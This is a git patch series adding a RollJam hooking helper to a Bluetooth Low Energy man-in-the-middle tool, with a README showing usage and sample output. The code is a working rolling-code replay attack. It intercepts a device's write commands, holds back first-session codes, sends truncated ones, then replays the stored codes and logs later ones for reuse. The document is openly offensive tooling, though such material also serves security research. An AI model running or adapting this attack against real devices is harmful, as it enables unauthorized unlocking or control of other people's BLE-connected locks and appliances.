From 8e899df5ca3e66b4db7799c583a086ee1955ce07 Mon Sep 17 00:00:00 2001 From: FlUxIuS Date: Mon, 9 Jul 2018 17:35:29 +0200 Subject: [PATCH 1/3] Adding dynamic hook capabilities + Generic RollJam hooking helper --- advertise.js | 11 +++-- hookFunctions/RollJam.json | 11 +++++ hookFunctions/rolljam.js | 87 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 105 insertions(+), 4 deletions(-) create mode 100644 hookFunctions/RollJam.json create mode 100644 hookFunctions/rolljam.js diff --git a/advertise.js b/advertise.js index fa10ed0..718fbbf 100644 --- a/advertise.js +++ b/advertise.js @@ -17,6 +17,7 @@ var options = new getopt([ ['f' , 'funmode' , 'have fun!'], ['' , 'jk' , 'see http://xkcd.com/1692'], ['h' , 'help' , 'display this help'], + ['w' , 'hooksfile=FILE' , 'hook function'], ]); options.setHelp("Usage: node advertise -a [ -s ] [-S] \n[[OPTIONS]]" ) @@ -28,14 +29,17 @@ if ( !opt.options.advertisement) { } if (opt.options.help) { - options.showHelp() - process.exit(0) + options.showHelp(); + process.exit(0); } if (opt.options.funmode) { - console.log('>>>>>>>>>>>>>>>>> MAY THE FUN BE WITH YOU! <<<<<<<<<<<<<<<<<<'.rainbow.inverse) + console.log('>>>>>>>>>>>>>>>>> MAY THE FUN BE WITH YOU! <<<<<<<<<<<<<<<<<<'.rainbow.inverse); } +if (opt.options.hooksfile) { + hookFunctions = require('./hookFunctions/'+opt.options.hooksfile); +} var devicesPath=process.env.DEVICES_PATH; var dumpPath=process.env.DUMP_PATH; @@ -58,7 +62,6 @@ if (opt.options.static) { wsclient.write = function (peripheralId, serviceUuid, uuid) { console.log('static run write not defined in hooks ' + getServiceNames(serviceUuid, uuid)); }; wsclient.read = function (peripheralId, serviceUuid, uuid) { console.log('static run read not defined in hooks '+ getServiceNames(serviceUuid, uuid)); }; wsclient.notify = function (peripheralId, serviceUuid, uuid) { console.log('static run subscribe '+ getServiceNames(serviceUuid, uuid)); }; - wsclient.write(); } else { diff --git a/hookFunctions/RollJam.json b/hookFunctions/RollJam.json new file mode 100644 index 0000000..21c3c10 --- /dev/null +++ b/hookFunctions/RollJam.json @@ -0,0 +1,11 @@ +{ "commands" : + { "3984" : { + "to" : "3984", + "number" : 1 + }, + "25" : { + "to" : "25", + "number" : 2 + } + } +} diff --git a/hookFunctions/rolljam.js b/hookFunctions/rolljam.js new file mode 100644 index 0000000..eabcb7f --- /dev/null +++ b/hookFunctions/rolljam.js @@ -0,0 +1,87 @@ +var fs = require('fs'); +var colors = require('colors'); +var utils = require('../lib/utils'); + +/* + * RollJam hook helper by @FlUxIuS + */ + + +// RollJam vars +var rolljam_cmd1=[]; +var rolljam_cmd2=[]; +var rolljam_ctr = 0; +var rolljam_ctr2 = 0; +var rjconfig = JSON.parse(fs.readFileSync('hookFunctions/RollJam.json')); + +function getDateTime() { + var date = new Date(); + var hour = date.getHours(); + hour = (hour < 10 ? "0" : "") + hour; + var min = date.getMinutes(); + min = (min < 10 ? "0" : "") + min; + var sec = date.getSeconds(); + sec = (sec < 10 ? "0" : "") + sec; + var msec = date.getMilliseconds(); + msec = (msec < 100 ? "0" : "") + msec; + var year = date.getFullYear(); + var month = date.getMonth() + 1; + month = (month < 10 ? "0" : "") + month; + var day = date.getDate(); + day = (day < 10 ? "0" : "") + day; + return year + "." + month + "." + day + " " + hour + ":" + min + ":" + sec + '.' + msec; +} + +function RollJamLog(type, peripheralId, serviceUuid, uuid, data){ + /* + * Logs only write command to replay in a special file with *.rolljam extension + * */ + var dumpFile='dump/' + peripheralId + '.rolljam'; + var toSave = getDateTime() + ' | ' + type + ' | ' + serviceUuid; + toSave += ' | ' + uuid; + toSave += ' | ' + data.toString('hex') + ' (' + utils.hex2a(data.toString('hex'))+ ')\n'; + + if (type === '< W') { + fs.appendFile(dumpFile, toSave, function(err) { + if(err) { + return console.log(err); + } + }) + } +} + +function RollJamWrite(peripheralId, service, characteristic, type, data, wsclient, callback) { + /* + * Capturing commands defined in the RollJam.json file and playing only commands of the first session + */ + datastr = data.toString('hex'); + commands = rjconfig.commands + for(var key in commands){ // Looking for all defined commands substring + value = commands[key]; + if (datastr.substring(0,key.length) === key) { + if (rolljam_ctr === value.number-1) { // if a substring is found and it + console.log('[RollJam] Keeping 1st cmd key part '+value.number+': '.yellow + datastr.yellow.inverse); + rolljam_cmd1.push(data); + data = new Buffer(value.to, 'hex'); + console.log('[RollJam] Playing incomplete cmd: '.yellow + data.toString('hex').yellow.inverse); + rolljam_ctr++; + } else { // Keeping 2nd session cmds and pushing first captured ones + console.log('[RollJam] Keeping 2nd cmd key part '+value.number+': '.yellow + datastr.yellow.inverse); + rolljam_cmd2.push(data); + RollJamLog('< W', peripheralId, service, characteristic, data); + data = rolljam_cmd1[value.number-1]; + console.log('[RollJam] Playing 1st cmd key instead, part '+value.number+': '.yellow + data.toString('hex').yellow.inverse); + rolljam_ctr2++; + + if (rolljam_ctr === rolljam_ctr2) + { // And a reinit the RollJam process + rolljam_ctr = 0; + rolljam_ctr2 = 0; + } + } + } + } + callback(null, data); +} + +module.exports.RollJamWrite = RollJamWrite; From c0471ef4d899c3dbb6ff7a2487c20fc51cc2eb72 Mon Sep 17 00:00:00 2001 From: FlUxIuS Date: Mon, 9 Jul 2018 18:04:03 +0200 Subject: [PATCH 2/3] README update for hooking functions --- hookFunctions/README.md | 80 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) diff --git a/hookFunctions/README.md b/hookFunctions/README.md index 989b98b..7483d75 100644 --- a/hookFunctions/README.md +++ b/hookFunctions/README.md @@ -1 +1,81 @@ Example hook functions. + +## RollJam hooking helper + +Some devices uses special commands that couldn't be understand without knowing their secrets and use a kind of rolling code style mecanism to prevent from replaying the command. + +To play with rolling code attacks, as it's the case for RollJam attack against remote controls using rolling code, a generic scripts hooking helper ``rolljam.js`` has been made. + +To use it, you can launch the ``advertise.js`` script as follows with the ``-w`` command after configuring the devices characteristics, and RollJam commands configuration files: + +```bash +# node advertise.js -a devices/********ba6d_********BA6D-.adv.json -s devices/*******ba6d.srv.json -w rolljam.js +[...] + <<<<<<<<<<<<<<<< INITIALIZED >>>>>>>>>>>>>>>>>>>> +Client connected: **:**:**:**:ce:78 +>> Subscribe: **f0 -> **f2 +>> Subscribe: **f0 -> **f3 +>> Write: **f0 -> **f1 : 3984****************************8ccd +[RollJam] Keeping 1st cmd key part 1: 3984****************************8ccd +[RollJam] Playing incomplete cmd: 3984 + ******ba6d:**f0 confirmed subscription state: **f2 + ******ba6d:**f0 confirmed subscription state: **f2 +[...] +>> Write: **f0 -> **f1 : 25***********************************2e +[RollJam] Keeping 1st cmd key part 2: 25***********************************2e +[RollJam] Playing incomplete cmd: 25 +[...] +[RollJam] Keeping 2nd cmd key part 2: 25***************************ed +[RollJam] Playing 1st cmd key instead, part 2: 25******************************2e +Client disconnected: **:**:**:**:ce:78 +``` + +To add the hooks, please add the following lines in the characteristics you want to interact with: + +```bash +{ + "uuid": "**f0", + "characteristics": [ + { + "uuid": "**f1", + "properties": [ + "read", + "write" + ], + "value": "0000000000000000000000000000000000000000", + "descriptors": [ + { + [...] + } + ], + "hooks": { + "dynamicWrite": "RollJamWrite" + }, + +``` + +To configure the command to hook, you can edit the ``RollJam.json`` in the ``hookFunctions`` directory as follows: + +```bash +{ "commands" : + { "3984" : { + "to" : "3984", + "number" : 1 + }, + "25" : { + "to" : "25", + "number" : 2 + } + } +} +``` + +The 2nd session commands are kept in the ``dump/.rolljam`` file as follows: + +```bash +# cat dump/*********ba6d.rolljam +2018.07.09 10:49:52.052 | < W | **f0 | **f1 | 39***********************************be +2018.07.09 10:49:53.514 | < W | **f0 | **f1 | 25***********************************56 +``` + +And could be replay after with GATTacker or readapted for nRF connect with ``gattacker2nrf.js`` to replay them as macros. From a0dfb31a00234bb160121834210e4263340c9b6a Mon Sep 17 00:00:00 2001 From: FlUxIuS Date: Tue, 10 Jul 2018 20:02:33 +0200 Subject: [PATCH 3/3] Fixes of few typos --- hookFunctions/README.md | 20 +++++++++++--------- hookFunctions/rolljam.js | 6 +++--- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/hookFunctions/README.md b/hookFunctions/README.md index 7483d75..812f8d4 100644 --- a/hookFunctions/README.md +++ b/hookFunctions/README.md @@ -2,11 +2,11 @@ Example hook functions. ## RollJam hooking helper -Some devices uses special commands that couldn't be understand without knowing their secrets and use a kind of rolling code style mecanism to prevent from replaying the command. +Some devices use special commands that couldn't be understand without knowing their secrets, but also make the use of some kind of rolling code mecanisms to prevent against replaying attacks. -To play with rolling code attacks, as it's the case for RollJam attack against remote controls using rolling code, a generic scripts hooking helper ``rolljam.js`` has been made. +To play with rolling code attacks in BLE, as it's the case for RollJam attack against remote controls using rolling code, a generic scripts hooking helper ``rolljam.js`` has been provided here. -To use it, you can launch the ``advertise.js`` script as follows with the ``-w`` command after configuring the devices characteristics, and RollJam commands configuration files: +To use it, you can launch the ``advertise.js`` script as follows with the ``-w`` command after configuring the devices characteristics, and configuring also the ``RollJam.js`` commands configuration files: ```bash # node advertise.js -a devices/********ba6d_********BA6D-.adv.json -s devices/*******ba6d.srv.json -w rolljam.js @@ -30,7 +30,7 @@ Client connected: **:**:**:**:ce:78 Client disconnected: **:**:**:**:ce:78 ``` -To add the hooks, please add the following lines in the characteristics you want to interact with: +To add the hook, please add the following lines in the characteristics you want to interact with: ```bash { @@ -58,18 +58,20 @@ To configure the command to hook, you can edit the ``RollJam.json`` in the ``hoo ```bash { "commands" : - { "3984" : { - "to" : "3984", - "number" : 1 + { "3984" : { # substring of the command + "to" : "3984", # to replace with this command (exemple with imcomplete command) + "number" : 1 # command part 1 }, "25" : { "to" : "25", - "number" : 2 + "number" : 2 # command part 2 } } } ``` +The ``number`` field is an index of the command part/fragmentation number. + The 2nd session commands are kept in the ``dump/.rolljam`` file as follows: ```bash @@ -78,4 +80,4 @@ The 2nd session commands are kept in the ``dump/.rolljam`` file as f 2018.07.09 10:49:53.514 | < W | **f0 | **f1 | 25***********************************56 ``` -And could be replay after with GATTacker or readapted for nRF connect with ``gattacker2nrf.js`` to replay them as macros. +And could be replayed after with GATTacker, or readapted for nRF connect with ``gattacker2nrf.js`` to kept them as macros in the application to be replayed also. diff --git a/hookFunctions/rolljam.js b/hookFunctions/rolljam.js index eabcb7f..3e69ca3 100644 --- a/hookFunctions/rolljam.js +++ b/hookFunctions/rolljam.js @@ -34,7 +34,7 @@ function getDateTime() { function RollJamLog(type, peripheralId, serviceUuid, uuid, data){ /* - * Logs only write command to replay in a special file with *.rolljam extension + * Logs only write commands in a special file with *.rolljam extension * */ var dumpFile='dump/' + peripheralId + '.rolljam'; var toSave = getDateTime() + ' | ' + type + ' | ' + serviceUuid; @@ -56,7 +56,7 @@ function RollJamWrite(peripheralId, service, characteristic, type, data, wsclien */ datastr = data.toString('hex'); commands = rjconfig.commands - for(var key in commands){ // Looking for all defined commands substring + for(var key in commands){ // Looking for all defined commands substrings value = commands[key]; if (datastr.substring(0,key.length) === key) { if (rolljam_ctr === value.number-1) { // if a substring is found and it @@ -74,7 +74,7 @@ function RollJamWrite(peripheralId, service, characteristic, type, data, wsclien rolljam_ctr2++; if (rolljam_ctr === rolljam_ctr2) - { // And a reinit the RollJam process + { // At the end: reinit the RollJam process rolljam_ctr = 0; rolljam_ctr2 = 0; }